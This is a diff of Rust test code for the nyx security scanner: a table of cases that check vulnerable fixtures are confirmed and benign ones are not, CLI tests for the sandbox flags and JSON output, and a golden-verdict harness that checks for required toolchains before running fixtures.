lang: Lang::TypeScript,
fixture_dir: "typescript",
vuln_file: "vuln.ts",
benign_file: "benign.ts",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["node"],
},
Case {
lang: Lang::TypeScript,
fixture_dir: "typescript_recursive_deps",
vuln_file: "vuln.ts",
benign_file: "benign.ts",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["node"],
},
Case {
lang: Lang::Php,
fixture_dir: "php",
vuln_file: "vuln.php",
benign_file: "benign.php",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["php"],
},
Case {
lang: Lang::Php,
fixture_dir: "php_recursive_deps",
vuln_file: "vuln.php",
benign_file: "benign.php",
vuln_class: "UserController",
benign_class: "UserController",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["php"],
},
Case {
lang: Lang::Java,
fixture_dir: "java",
vuln_file: "Vuln.java",
benign_file: "Benign.java",
vuln_class: "Vuln$UserRepository",
benign_class: "Benign$UserRepository",
method: "findByName",
cap: Cap::CODE_EXEC,
bins: &["java", "javac"],
},
Case {
lang: Lang::Java,
fixture_dir: "java_recursive_deps",
vuln_file: "Vuln.java",
benign_file: "Benign.java",
vuln_class: "Vuln$UserService",
benign_class: "Benign$UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["java", "javac"],
},
Case {
lang: Lang::Go,
fixture_dir: "go",
vuln_file: "vuln.go",
benign_file: "benign.go",
vuln_class: "UserService",
benign_class: "UserService",
method: "Run",
cap: Cap::CODE_EXEC,
bins: &["go"],
},
Case {
lang: Lang::Go,
fixture_dir: "go_recursive_deps",
vuln_file: "vuln.go",
benign_file: "benign.go",
vuln_class: "UserService",
benign_class: "UserService",
method: "Run",
cap: Cap::CODE_EXEC,
bins: &["go"],
},
Case {
lang: Lang::Rust,
fixture_dir: "rust",
vuln_file: "vuln.rs",
benign_file: "benign.rs",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["cargo"],
},
Case {
lang: Lang::Rust,
fixture_dir: "rust_recursive_deps",
vuln_file: "vuln.rs",
benign_file: "benign.rs",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["cargo"],
},
Case {
lang: Lang::C,
fixture_dir: "c",
vuln_file: "vuln.c",
benign_file: "benign.c",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["cc"],
},
Case {
lang: Lang::C,
fixture_dir: "c_recursive_deps",
vuln_file: "vuln.c",
benign_file: "benign.c",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["cc"],
},
Case {
lang: Lang::Cpp,
fixture_dir: "cpp",
vuln_file: "vuln.cpp",
benign_file: "benign.cpp",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["c++"],
},
];
fn command_available(bin: &str) -> bool {
Command::new(bin).arg("--version").output().is_ok()
}
fn fixture_root(case: Case) -> PathBuf {
PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures/class_method")
.join(case.fixture_dir)
}
fn build_spec(case: Case, file: &str, class: &str) -> (HarnessSpec, TempDir) {
let tmp = TempDir::new().expect("create tempdir");
let src = fixture_root(case).join(file);
let dst = tmp.path().join(file);
std::fs::copy(&src, &dst).expect("copy fixture into tempdir");
let entry_file = dst.to_string_lossy().into_owned();
let mut digest = blake3::Hasher::new();
digest.update(b"class-method|");
digest.update(format!("{:?}", case.lang).as_bytes());
digest.update(b"|");
digest.update(case.fixture_dir.as_bytes());
digest.update(b"|");
digest.update(file.as_bytes());
let spec_hash = format!("{:016x}", {
let bytes = digest.finalize();
u64::from_le_bytes(bytes.as_bytes()[..8].try_into().unwrap())
});
let spec = HarnessSpec {
finding_id: spec_hash.clone(),
entry_file: entry_file.clone(),
entry_name: case.method.to_owned(),
entry_kind: EntryKind::ClassMethod {
class: class.to_owned(),
method: case.method.to_owned(),
},
lang: case.lang,
toolchain_id: default_toolchain_id(case.lang).to_owned(),
payload_slot: PayloadSlot::Param(0),
expected_cap: case.cap,
constraint_hints: vec![],
sink_file: entry_file,
sink_line: 1,
spec_hash,
derivation: SpecDerivationStrategy::FromFlowSteps,
stubs_required: vec![],
framework: None,
java_toolchain: nyx_scanner::dynamic::spec::JavaToolchain::default(),
};
(spec, tmp)
}
fn run(case: Case, file: &str, class: &str) -> Option<RunOutcome> {
for bin in case.bins {
if !command_available(bin) {
eprintln!("SKIP {:?} {file}: missing toolchain {bin}", case.lang);
return None;
}
}
let _guard = FIXTURE_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let (spec, tmp) = build_spec(case, file, class);
let repro = tmp.path().join("repro");
let telemetry = tmp.path().join("events.jsonl");
let build_cache = tmp.path().join("build-cache");
unsafe {
std::env::set_var("NYX_REPRO_BASE", repro.to_str().unwrap());
std::env::set_var("NYX_TELEMETRY_PATH", telemetry.to_str().unwrap());
std::env::set_var("NYX_BUILD_CACHE", build_cache.to_str().unwrap());
}
let opts = SandboxOptions {
backend: SandboxBackend::Process,
..SandboxOptions::default()
};
let outcome = run_spec(&spec, &opts);
unsafe {
std::env::remove_var("NYX_REPRO_BASE");
std::env::remove_var("NYX_TELEMETRY_PATH");
std::env::remove_var("NYX_BUILD_CACHE");
}
match outcome {
Ok(outcome) => Some(outcome),
Err(RunError::BuildFailed { stderr, attempts }) => {
eprintln!(
"SKIP {:?} {file}: harness build failed after {attempts} attempts: {stderr}",
case.lang,
);
None
}
Err(e) => panic!("run_spec({:?} {file}) errored: {e:?}", case.lang),
}
}
fn assert_confirmed(case: Case, outcome: &RunOutcome) {
assert!(
outcome.triggered_by.is_some(),
"{:?} ClassMethod vuln must Confirm via run_spec; got {outcome:?}",
case.lang,
);
let diff = outcome
.differential
.as_ref()
.expect("Confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
fn assert_not_confirmed(case: Case, outcome: &RunOutcome) {
assert!(
outcome.triggered_by.is_none(),
"{:?} ClassMethod benign control must not Confirm via run_spec; got {outcome:?}",
case.lang,
);
if let Some(diff) = outcome.differential.as_ref() {
assert_ne!(diff.verdict, DifferentialVerdict::Confirmed);
}
}
#[test]
fn class_method_vuln_fixtures_confirm_via_run_spec() {
for case in CASES {
let Some(outcome) = run(*case, case.vuln_file, case.vuln_class) else {
continue;
};
assert_confirmed(*case, &outcome);
}
}
#[test]
fn class_method_benign_fixtures_do_not_confirm_via_run_spec() {
for case in CASES {
let Some(outcome) = run(*case, case.benign_file, case.benign_class) else {
continue;
};
assert_not_confirmed(*case, &outcome);
}
}
#[test]
fn class_method_typescript_stages_commonjs_entry_for_stock_node() {
let spec = make_spec(Lang::TypeScript);
let h = lang::emit(&spec).expect("emit ok");
assert_eq!(h.entry_subpath.as_deref(), Some("entry.js"));
assert!(h.source.contains("require('./entry')"));
}
#[test]
fn class_method_harnesses_emit_sink_hit_sentinel() {
for lang in LANGS {
let spec = make_spec(*lang);
let h = lang::emit(&spec).expect("emit ok");
assert!(
h.source.contains("__NYX_SINK_HIT__"),
"{lang:?} ClassMethod harness must emit the runner sink sentinel",
);
}
}
}

50
tests/cli_unsafe_sandbox.rs Normal file
View file

@ -0,0 +1,50 @@
//! CLI validation tests for --unsafe-sandbox and --backend flag interactions.
//!
//! Guards against regressions in the mutual-exclusion check between
//! `--unsafe-sandbox` and `--backend docker`. The validation only fires when
//! the binary is built with `--features dynamic`; without it both flags are
//! silently accepted (no-op).
#[cfg(feature = "dynamic")]
mod dynamic_sandbox_cli {
use assert_cmd::Command;
use predicates::prelude::*;
fn scan_cmd_with_fresh_env() -> (tempfile::TempDir, Command) {
let home = tempfile::tempdir().expect("tempdir");
let mut cmd = Command::cargo_bin("nyx").expect("nyx binary");
cmd.env("HOME", home.path())
.env("XDG_CONFIG_HOME", home.path().join(".config"))
.env("XDG_DATA_HOME", home.path().join(".local/share"))
.env("NO_COLOR", "1");
// Scan a non-existent path; the backend validation runs before any
// filesystem work so the path doesn't need to exist for these tests.
cmd.args(["scan", "/dev/null/nonexistent"]);
(home, cmd)
}
/// `--unsafe-sandbox --backend docker` must be rejected with a clear error.
#[test]
fn unsafe_sandbox_with_docker_backend_is_rejected() {
let (_home, mut cmd) = scan_cmd_with_fresh_env();
cmd.args(["--unsafe-sandbox", "--backend", "docker"]);
cmd.assert().failure().stderr(predicate::str::contains(
"--unsafe-sandbox and --backend docker are mutually exclusive",
));
}
/// `--unsafe-sandbox` alone (no explicit --backend) must NOT trigger the
/// mutual-exclusion error. It may fail for other reasons (path not found,
/// no findings, etc.) but not with the mutex message.
#[test]
fn unsafe_sandbox_alone_does_not_trigger_mutex_error() {
let (_home, mut cmd) = scan_cmd_with_fresh_env();
cmd.arg("--unsafe-sandbox");
cmd.assert().stderr(
predicate::str::contains(
"--unsafe-sandbox and --backend docker are mutually exclusive",
)
.not(),
);
}
}

80
tests/cli_validation_tests.rs
View file

@ -15,6 +15,7 @@
use assert_cmd::Command;
use predicates::prelude::*;
use serde_json::Value;
use std::path::PathBuf;
/// Build a scan command with a fresh config dir and a writable tempdir as
@ -164,6 +165,85 @@ fn scan_with_no_extra_flags_on_clean_target_succeeds() {
cmd.assert().success();
}
fn assert_stdout_is_json_from_byte_zero(output: &[u8], context: &str) -> Value {
assert_eq!(
output.first().copied(),
Some(b'{'),
"{context}: stdout must start with a JSON object, got prefix {:?}",
String::from_utf8_lossy(&output[..output.len().min(80)])
);
serde_json::from_slice(output).unwrap_or_else(|e| {
panic!(
"{context}: stdout did not parse as JSON: {e}\n--- stdout prefix ---\n{}",
String::from_utf8_lossy(&output[..output.len().min(400)])
)
})
}
#[test]
fn scan_json_stdout_is_machine_clean_when_tracing_warns() {
let home = tempfile::tempdir().unwrap();
let target = prepare_scan_target();
let (mut cmd, _) = scan_cmd(home.path(), target.path());
cmd.env("RUST_LOG", "warn")
.args(["--format", "json", "--no-index", "--parse-timeout-ms", "0"]);
let assert = cmd.assert().success();
let value =
assert_stdout_is_json_from_byte_zero(&assert.get_output().stdout, "nyx scan --format json");
assert!(
value.get("findings").is_some(),
"JSON scan payload missing findings"
);
}
#[test]
fn scan_sarif_stdout_is_machine_clean_when_tracing_warns() {
let home = tempfile::tempdir().unwrap();
let target = prepare_scan_target();
let (mut cmd, _) = scan_cmd(home.path(), target.path());
cmd.env("RUST_LOG", "warn").args([
"--format",
"sarif",
"--no-index",
"--parse-timeout-ms",
"0",
]);
let assert = cmd.assert().success();
let value = assert_stdout_is_json_from_byte_zero(
&assert.get_output().stdout,
"nyx scan --format sarif",
);
assert_eq!(value["version"], "2.1.0", "SARIF version missing");
}
#[test]
fn scan_quiet_suppresses_tracing_warnings() {
let home = tempfile::tempdir().unwrap();
let target = prepare_scan_target();
let (mut cmd, _) = scan_cmd(home.path(), target.path());
cmd.env("RUST_LOG", "warn").args([
"--format",
"json",
"--quiet",
"--no-index",
"--parse-timeout-ms",
"0",
]);
let assert = cmd.assert().success();
assert_stdout_is_json_from_byte_zero(
&assert.get_output().stdout,
"nyx scan --format json --quiet",
);
assert!(
assert.get_output().stderr.is_empty(),
"--quiet should suppress tracing/status stderr, got:\n{}",
String::from_utf8_lossy(&assert.get_output().stderr)
);
}
/// `--explain-engine` short-circuits the scan path and prints the resolved
/// engine configuration to stdout. Exit code 0, non-empty stdout, and the
/// "Effective engine configuration" header present.

978
tests/common/fixture_harness.rs Normal file
View file

@ -0,0 +1,978 @@
//! Golden-verdict regression harness for dynamic-verification fixtures.
//!
//! Replaces the original hand-rolled `assert_eq!(status, Confirmed)` style
//! with a "current verdict is the golden" model: each fixture's first run
//! (under `NYX_UPDATE_GOLDENS=1`) records its current verdict shape into a
//! `.golden.json` file checked in beside the fixture; subsequent runs diff
//! against that golden and fail on regression.
//!
//! The contract is intentionally agnostic to the verdict's polarity. A
//! fixture stuck at `Inconclusive(BuildFailed)` because of a missing
//! toolchain is locked at that shape until someone consciously refreshes the
//! golden via `scripts/update_dynamic_goldens.sh`. A flip to `Confirmed` is
//! also a "regression" in the harness's sense and surfaces as a test
//! failure, prompting an explicit golden update.
use nyx_scanner::commands::scan::Diag;
use nyx_scanner::dynamic::verify::{VerifyOptions, verify_finding};
use nyx_scanner::evidence::{
Confidence, EntryKind, Evidence, FlowStep, FlowStepKind, InconclusiveReason, UnsupportedReason,
VerifyResult, VerifyStatus,
};
use nyx_scanner::labels::Cap;
use nyx_scanner::patterns::{FindingCategory, Severity};
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
use std::sync::Mutex;
use tempfile::TempDir;
/// Serialise-once lock guarding the process-global env vars
/// (`NYX_REPRO_BASE`, `NYX_TELEMETRY_PATH`) and the shared build cache dir.
/// Shared across `python_fixtures` / `rust_fixtures` to prevent cross-suite
/// races when nextest runs them in parallel within the same test binary.
pub static FIXTURE_LOCK: Mutex<()> = Mutex::new(());
/// How the fixture source should land relative to the harness's tempdir
/// before [`verify_finding`] is invoked. Mirrors the original per-language
/// behaviour: Python copies the file beside its sibling-import siblings;
/// Rust lays it out as `src/entry.rs` so the Cargo project emitter finds it.
#[derive(Debug, Clone, Copy)]
#[allow(dead_code)] // Each test binary uses only one variant; the other is dead per-crate.
pub enum CopyStrategy {
/// Copy the fixture to `tempdir/{fixture_basename}`. The synthesised Diag
/// points at the copy so the Python harness can import it directly.
PreserveName,
/// Copy the fixture to `tempdir/src/entry.rs`. The synthesised Diag
/// points at the original fixture path (the Rust emitter reads source via
/// the absolute Diag path, not via the temp-dir layout).
RustEntry,
}
/// Phase 29 (Track I): host-environment prerequisite a fixture needs in
/// order to run. The harness consults the list before staging the
/// fixture; any unsatisfied prerequisite triggers a structured skip
/// rather than a panic, so non-applicable matrix rows (process-only
/// macOS, dockerless CI, missing static libc) still see green ticks.
#[derive(Debug, Clone, PartialEq, Eq)]
#[allow(dead_code)]
pub enum Prerequisite {
/// A binary must resolve on `PATH` and respond to its version probe with
/// exit code 0 (usually `--version`; Go uses `go version`).
CommandAvailable(&'static str),
/// A specific env var must be set (used to gate feature-flagged
/// suites — e.g. `NYX_ENABLE_FLAKY_FIXTURES=1`).
EnvVar(&'static str),
/// The docker daemon must be reachable. Equivalent to
/// `docker info` returning exit 0.
DockerAvailable,
/// A static C library archive (e.g. `libc.a`) must be linkable.
/// Used by the Phase-17/20 hardening probe fixtures.
StaticLib(&'static str),
/// A Node.js module must be importable via `require.resolve`. Used
/// by the JavaScript / TypeScript framework-bound shape suites
/// (express / koa / next / jsdom) so a host without the package on
/// the resolution path skips with a structured reason instead of
/// failing the test.
NodeModuleAvailable(&'static str),
/// A Ruby feature must be loadable via `require`. Used by Ruby
/// framework-bound shape suites so hosts without preinstalled gems can
/// skip instead of depending on network access during tests.
RubyRequireAvailable(&'static str),
/// A binary must resolve on `PATH` and respond to its version probe with
/// exit code 0, but the binary name can be overridden via an env
/// var. Used by the C / C++ fixture suites where `cc` / `c++` can
/// be swapped in for `clang` / `gcc` via `NYX_CC_BIN` / `NYX_CXX_BIN`.
/// The env var's *value* (when set) names the binary to probe;
/// otherwise `default` is used.
CommandAvailableEnvOverride {
env_var: &'static str,
default: &'static str,
},
}
/// Phase 29 (Track I): why the harness skipped a fixture. Carried by
/// every skip so callers can distinguish "host did not have python3" from
/// "host has docker but daemon refused" from "intentional env-var gate".
#[derive(Debug, Clone, PartialEq, Eq)]
#[allow(dead_code)]
pub enum SkipReason {
MissingCommand(&'static str),
MissingEnvVar(&'static str),
DockerUnavailable,
MissingStaticLib(&'static str),
MissingNodeModule(&'static str),
MissingRubyRequire(&'static str),
}
impl std::fmt::Display for SkipReason {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
SkipReason::MissingCommand(c) => write!(f, "missing command on PATH: {c}"),
SkipReason::MissingEnvVar(v) => write!(f, "env var not set: {v}"),
SkipReason::DockerUnavailable => write!(f, "docker daemon unavailable"),
SkipReason::MissingStaticLib(l) => write!(f, "static lib not linkable: {l}"),
SkipReason::MissingNodeModule(m) => {
write!(f, "Node module not resolvable via require.resolve: {m}")
}
SkipReason::MissingRubyRequire(r) => write!(f, "Ruby feature not loadable: {r}"),
}
}
}
/// Returns the first unsatisfied prerequisite, or `Ok(())` when every
/// requirement holds. Exposed for tests that want to gate their own
/// per-shape helpers without going through `FixtureSpec`.
#[allow(dead_code)]
pub fn check_prerequisites(reqs: &[Prerequisite]) -> Result<(), SkipReason> {
for req in reqs {
match req {
Prerequisite::CommandAvailable(cmd) => {
let ok = std::process::Command::new(cmd)
.arg(version_probe_arg(cmd))
.output()
.map(|o| o.status.success())
.unwrap_or(false);
if !ok {
return Err(SkipReason::MissingCommand(cmd));
}
}
Prerequisite::CommandAvailableEnvOverride { env_var, default } => {
// Resolve binary name from the env var when set; fall
// back to `default` so an unset override stays
// transparent to the existing acceptance contract. The
// suite under test reads the SAME env var to pick the
// binary it will execute, so the prereq probe lines up
// with the actual invocation.
let env_value = std::env::var(env_var).ok();
let bin: &str = match env_value.as_deref() {
Some(v) if !v.is_empty() => v,
_ => default,
};
let ok = std::process::Command::new(bin)
.arg(version_probe_arg(bin))
.output()
.map(|o| o.status.success())
.unwrap_or(false);
if !ok {
return Err(SkipReason::MissingCommand(default));
}
}
Prerequisite::EnvVar(var) => {
if std::env::var(var).is_err() {
return Err(SkipReason::MissingEnvVar(var));
}
}
Prerequisite::DockerAvailable => {
let ok = std::process::Command::new("docker")
.arg("info")
.output()
.map(|o| o.status.success())
.unwrap_or(false);
if !ok {
return Err(SkipReason::DockerUnavailable);
}
}
Prerequisite::NodeModuleAvailable(name) => {
let probe = format!("require.resolve('{name}')");
let ok = std::process::Command::new("node")
.arg("-e")
.arg(&probe)
.output()
.map(|o| o.status.success())
.unwrap_or(false);
if !ok {
return Err(SkipReason::MissingNodeModule(name));
}
}
Prerequisite::RubyRequireAvailable(feature) => {
let script = "begin; require ARGV.fetch(0); rescue LoadError; exit 1; end";
let ok = std::process::Command::new("ruby")
.arg("-e")
.arg(script)
.arg(feature)
.output()
.map(|o| o.status.success())
.unwrap_or(false);
if !ok {
return Err(SkipReason::MissingRubyRequire(feature));
}
}
Prerequisite::StaticLib(lib) => {
// Treat the lib as linkable iff `cc -static -l<lib>` on
// an empty TU succeeds. Slow but reliable; only called
// by the small Phase-17 hardening suite.
let probe = match tempfile::NamedTempFile::new() {
Ok(f) => f,
Err(_) => return Err(SkipReason::MissingStaticLib(lib)),
};
use std::io::Write;
let mut handle = match std::fs::OpenOptions::new().write(true).open(probe.path()) {
Ok(h) => h,
Err(_) => return Err(SkipReason::MissingStaticLib(lib)),
};
let _ = writeln!(handle, "int main(void) {{ return 0; }}");
drop(handle);
let out = tempfile::Builder::new()
.prefix("nyx-prereq-")
.tempfile()
.map(|f| f.path().to_path_buf())
.ok();
let out = match out {
Some(p) => p,
None => return Err(SkipReason::MissingStaticLib(lib)),
};
let status = std::process::Command::new("cc")
.args([
"-x",
"c",
"-static",
probe.path().to_str().unwrap_or(""),
"-o",
out.to_str().unwrap_or(""),
&format!("-l{lib}"),
])
.output()
.map(|o| o.status.success())
.unwrap_or(false);
let _ = std::fs::remove_file(&out);
if !status {
return Err(SkipReason::MissingStaticLib(lib));
}
}
}
}
Ok(())
}
fn version_probe_arg(bin: &str) -> &'static str {
if Path::new(bin)
.file_name()
.and_then(|name| name.to_str())
.is_some_and(|name| name == "go")
{
"version"
} else {
"--version"
}
}
/// Per-fixture specification.
pub struct FixtureSpec<'a> {
/// Subdirectory under `tests/dynamic_fixtures/` (e.g. `"python"`, `"rust"`).
pub lang_dir: &'a str,
/// Fixture filename within `lang_dir`.
pub fixture: &'a str,
/// Entry-point function name passed in the synthesised flow-step.
pub func: &'a str,
/// Sink capability bits to set on `Evidence.sink_caps`.
pub cap: Cap,
/// Sink line for the synthesised flow-step. Adversarial fixtures pass a
/// line that does not exist in the source (e.g. 999) so the probe cannot
/// fire while the oracle marker still prints.
pub sink_line: u32,
/// Confidence stamp on the Diag. `Confidence::Low` short-circuits to
/// `Unsupported(ConfidenceTooLow)` before the harness executes.
pub confidence: Confidence,
/// File-layout strategy for the temp-dir copy.
pub copy: CopyStrategy,
/// Phase 29 (Track I): host-environment prerequisites. Empty means
/// "always runs"; otherwise the harness checks each entry before
/// staging the fixture and skips with a structured [`SkipReason`]
/// when any prerequisite is unmet.
pub requires: Vec<Prerequisite>,
}
/// Trimmed verdict shape persisted in the `.golden.json` file.
///
/// Captures the fields a regression test must pin: status + typed reasons
/// + whether a payload triggered. Excludes machine-dependent fields
/// (`finding_id`, `detail`, `attempts`, `toolchain_match`).
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct GoldenVerdict {
pub status: VerifyStatus,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub reason: Option<UnsupportedReason>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub inconclusive_reason: Option<InconclusiveReason>,
#[serde(default)]
pub triggered: bool,
}
impl From<&VerifyResult> for GoldenVerdict {
fn from(v: &VerifyResult) -> Self {
Self {
status: v.status,
reason: v.reason.clone(),
inconclusive_reason: v.inconclusive_reason.clone(),
triggered: v.triggered_payload.is_some(),
}
}
}
/// Run the fixture through `verify_finding` and either compare against the
/// stored golden or — when `NYX_UPDATE_GOLDENS=1` — overwrite the golden
/// with the current verdict.
pub fn run_fixture_and_compare_to_golden(spec: &FixtureSpec<'_>) {
if let Err(reason) = check_prerequisites(&spec.requires) {
eprintln!(
"SKIP {}/{}: prerequisite unmet — {reason}",
spec.lang_dir, spec.fixture
);
return;
}
let _guard = FIXTURE_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let fixture_root = fixture_dir(spec.lang_dir);
let fixture_src = fixture_root.join(spec.fixture);
let golden_path = fixture_root.join(format!("{}.golden.json", spec.fixture));
let tmp = TempDir::new().expect("create tempdir");
let diag_path = stage_fixture(&fixture_src, &tmp, spec.copy);
// SAFETY: env mutation is serialised by FIXTURE_LOCK and the vars are
// cleared before the lock guard drops at end of function.
unsafe {
std::env::set_var("NYX_REPRO_BASE", tmp.path().join("repro").to_str().unwrap());
std::env::set_var(
"NYX_TELEMETRY_PATH",
tmp.path().join("events.jsonl").to_str().unwrap(),
);
}
let mut diag = make_diag(&diag_path, spec.func, spec.cap, spec.sink_line);
diag.confidence = Some(spec.confidence);
// The dynamic goldens are authored on macOS, where `harness_is_native_binary`
// returns false so the Auto backend routes a compiled fixture to the process
// backend. On Linux the same Auto default routes the compiled ELF to the
// docker native-binary path — a backend-divergent oracle (no probe channel,
// OOB callback hardcoded false, `--network none --read-only`) — and in the
// no-docker CI job that path fails outright with BackendUnavailable(Docker).
// Pin native-binary fixture langs to the process backend so every host
// reproduces the golden-authoring path (mirrors tests/go_fixtures.rs).
// Interpreted langs (e.g. python) keep Auto.
let mut opts = VerifyOptions::default();
if matches!(spec.lang_dir, "rust" | "go" | "c" | "cpp") {
opts.sandbox.backend = nyx_scanner::dynamic::sandbox::SandboxBackend::Process;
}
let result = verify_finding(&diag, &opts);
unsafe {
std::env::remove_var("NYX_REPRO_BASE");
std::env::remove_var("NYX_TELEMETRY_PATH");
}
let current = GoldenVerdict::from(&result);
let mut current_json =
serde_json::to_string_pretty(&current).expect("serialise golden verdict");
current_json.push('\n');
if std::env::var("NYX_UPDATE_GOLDENS").is_ok_and(|v| v == "1") {
std::fs::write(&golden_path, &current_json)
.unwrap_or_else(|e| panic!("write golden {}: {e}", golden_path.display()));
return;
}
let expected_json = std::fs::read_to_string(&golden_path).unwrap_or_else(|e| {
panic!(
"missing golden {}: {e}\n\
current verdict:\n{current_json}\n\
rerun with NYX_UPDATE_GOLDENS=1 ./scripts/update_dynamic_goldens.sh to seed it.",
golden_path.display()
)
});
let expected: GoldenVerdict = serde_json::from_str(&expected_json)
.unwrap_or_else(|e| panic!("parse golden {}: {e}", golden_path.display()));
if current != expected {
panic!(
"golden regression for {}:\n\
expected: {expected_json}\n\
actual: {current_json}\n\
detail: {:?}\n\
rerun with NYX_UPDATE_GOLDENS=1 ./scripts/update_dynamic_goldens.sh if intended.",
spec.fixture, result.detail
);
}
}
fn fixture_dir(lang_dir: &str) -> PathBuf {
PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures")
.join(lang_dir)
}
fn stage_fixture(src: &Path, tmp: &TempDir, copy: CopyStrategy) -> PathBuf {
match copy {
CopyStrategy::PreserveName => {
let dst = tmp
.path()
.join(src.file_name().expect("fixture has filename"));
std::fs::copy(src, &dst).expect("copy fixture into tempdir");
dst
}
CopyStrategy::RustEntry => {
let dst_dir = tmp.path().join("src");
std::fs::create_dir_all(&dst_dir).expect("create src/ in tempdir");
let dst = dst_dir.join("entry.rs");
std::fs::copy(src, &dst).expect("copy fixture into tempdir/src/entry.rs");
// The Rust harness emitter reads source via the Diag's absolute path,
// not via the temp-dir layout, so the Diag must point at the original
// fixture file. The temp-dir copy is only consulted by the harness
// builder for the workdir-relative `src/entry.rs` view.
src.to_path_buf()
}
}
}
/// Phase 12 — Python-specific per-shape acceptance helper.
///
/// Thin wrapper over [`run_shape_fixture_lang`] pinning the lang dir
/// to `tests/dynamic_fixtures/python/` and [`Lang::Python`].
#[allow(clippy::too_many_arguments)]
pub fn run_shape_fixture(
shape_dir: &str,
file: &str,
func: &str,
cap: Cap,
sink_line: u32,
entry_kind: EntryKind,
payload_slot: nyx_scanner::dynamic::spec::PayloadSlot,
) -> VerifyResult {
run_shape_fixture_lang(
nyx_scanner::symbol::Lang::Python,
"python",
shape_dir,
file,
func,
cap,
sink_line,
entry_kind,
payload_slot,
)
}
/// Phase 13 — lang-aware per-shape acceptance helper.
///
/// Stages `tests/dynamic_fixtures/<lang_dir>/<shape>/<file>` into a
/// tempdir, builds a [`HarnessSpec`] with the caller's `entry_kind` /
/// `payload_slot` / [`Lang`], then executes it through
/// [`nyx_scanner::dynamic::runner::run_spec`] directly. Returns a
/// [`VerifyResult`]-shaped summary so callers can reuse the same
/// `assert_confirmed` / `assert_not_confirmed` helpers across Python /
/// JS / TS / etc. shape suites.
///
/// Bypasses [`verify_finding`] for the same reason as [`run_shape_fixture`]:
/// the public verifier always lands on
/// [`nyx_scanner::dynamic::spec::PayloadSlot::Param`].
#[allow(clippy::too_many_arguments)]
pub fn run_shape_fixture_lang(
lang: nyx_scanner::symbol::Lang,
lang_dir: &str,
shape_dir: &str,
file: &str,
func: &str,
cap: Cap,
sink_line: u32,
entry_kind: EntryKind,
payload_slot: nyx_scanner::dynamic::spec::PayloadSlot,
) -> VerifyResult {
use nyx_scanner::dynamic::runner::{RunError, run_spec};
use nyx_scanner::dynamic::sandbox::SandboxOptions;
use nyx_scanner::dynamic::spec::{HarnessSpec, SpecDerivationStrategy};
let _guard = FIXTURE_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let fixture_root = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures")
.join(lang_dir)
.join(shape_dir);
let fixture_src = fixture_root.join(file);
let tmp = TempDir::new().expect("create tempdir");
let dst = tmp.path().join(file);
std::fs::copy(&fixture_src, &dst).expect("copy fixture into tempdir");
// SAFETY: env mutation is serialised by FIXTURE_LOCK and cleared at end.
unsafe {
std::env::set_var("NYX_REPRO_BASE", tmp.path().join("repro").to_str().unwrap());
std::env::set_var(
"NYX_TELEMETRY_PATH",
tmp.path().join("events.jsonl").to_str().unwrap(),
);
}
let entry_file = dst.to_string_lossy().into_owned();
// Per-fixture stable hash so workdir layout / cache key stays
// distinct between langs / shapes / vuln-vs-benign fixtures.
let mut digest = blake3::Hasher::new();
digest.update(lang_dir.as_bytes());
digest.update(b"|");
digest.update(shape_dir.as_bytes());
digest.update(b"|");
digest.update(file.as_bytes());
let spec_hash = format!("{:016x}", {
let bytes = digest.finalize();
u64::from_le_bytes(bytes.as_bytes()[..8].try_into().unwrap())
});
let toolchain_id = nyx_scanner::dynamic::spec::default_toolchain_id(lang);
let spec = HarnessSpec {
finding_id: spec_hash.clone(),
entry_file: entry_file.clone(),
entry_name: func.to_owned(),
entry_kind,
lang,
toolchain_id: toolchain_id.into(),
payload_slot,
expected_cap: cap,
constraint_hints: vec![],
sink_file: entry_file,
sink_line,
spec_hash: spec_hash.clone(),
derivation: SpecDerivationStrategy::FromFlowSteps,
stubs_required: vec![],
framework: None,
java_toolchain: nyx_scanner::dynamic::spec::JavaToolchain::default(),
};
// Phase 14: Java shape fixtures bundle helper sources and sometimes a
// Maven manifest alongside `Vuln.java` / `Benign.java`.
// Stage those sidecars next to the temp-copied entry file so the
// harness builder can copy them into its per-run workdir. Skip the
// alternate Vuln/Benign file to keep public class declarations from
// colliding with the running variant.
if matches!(lang, nyx_scanner::symbol::Lang::Java) {
let alt_file = if file == "Vuln.java" {
"Benign.java"
} else if file == "Benign.java" {
"Vuln.java"
} else {
""
};
if let Ok(entries) = std::fs::read_dir(&fixture_root) {
for entry in entries.flatten() {
let p = entry.path();
let name = match p.file_name().and_then(|n| n.to_str()) {
Some(n) => n.to_owned(),
None => continue,
};
if name == file || name == alt_file {
continue;
}
if name == "pom.xml" || p.extension().map(|e| e == "java").unwrap_or(false) {
let _ = std::fs::copy(&p, tmp.path().join(&name));
}
}
}
}
let opts = SandboxOptions::default();
let outcome = run_spec(&spec, &opts);
unsafe {
std::env::remove_var("NYX_REPRO_BASE");
std::env::remove_var("NYX_TELEMETRY_PATH");
}
// Project the [`RunOutcome`] / [`RunError`] back onto a
// [`VerifyResult`] shape so callers can assert against
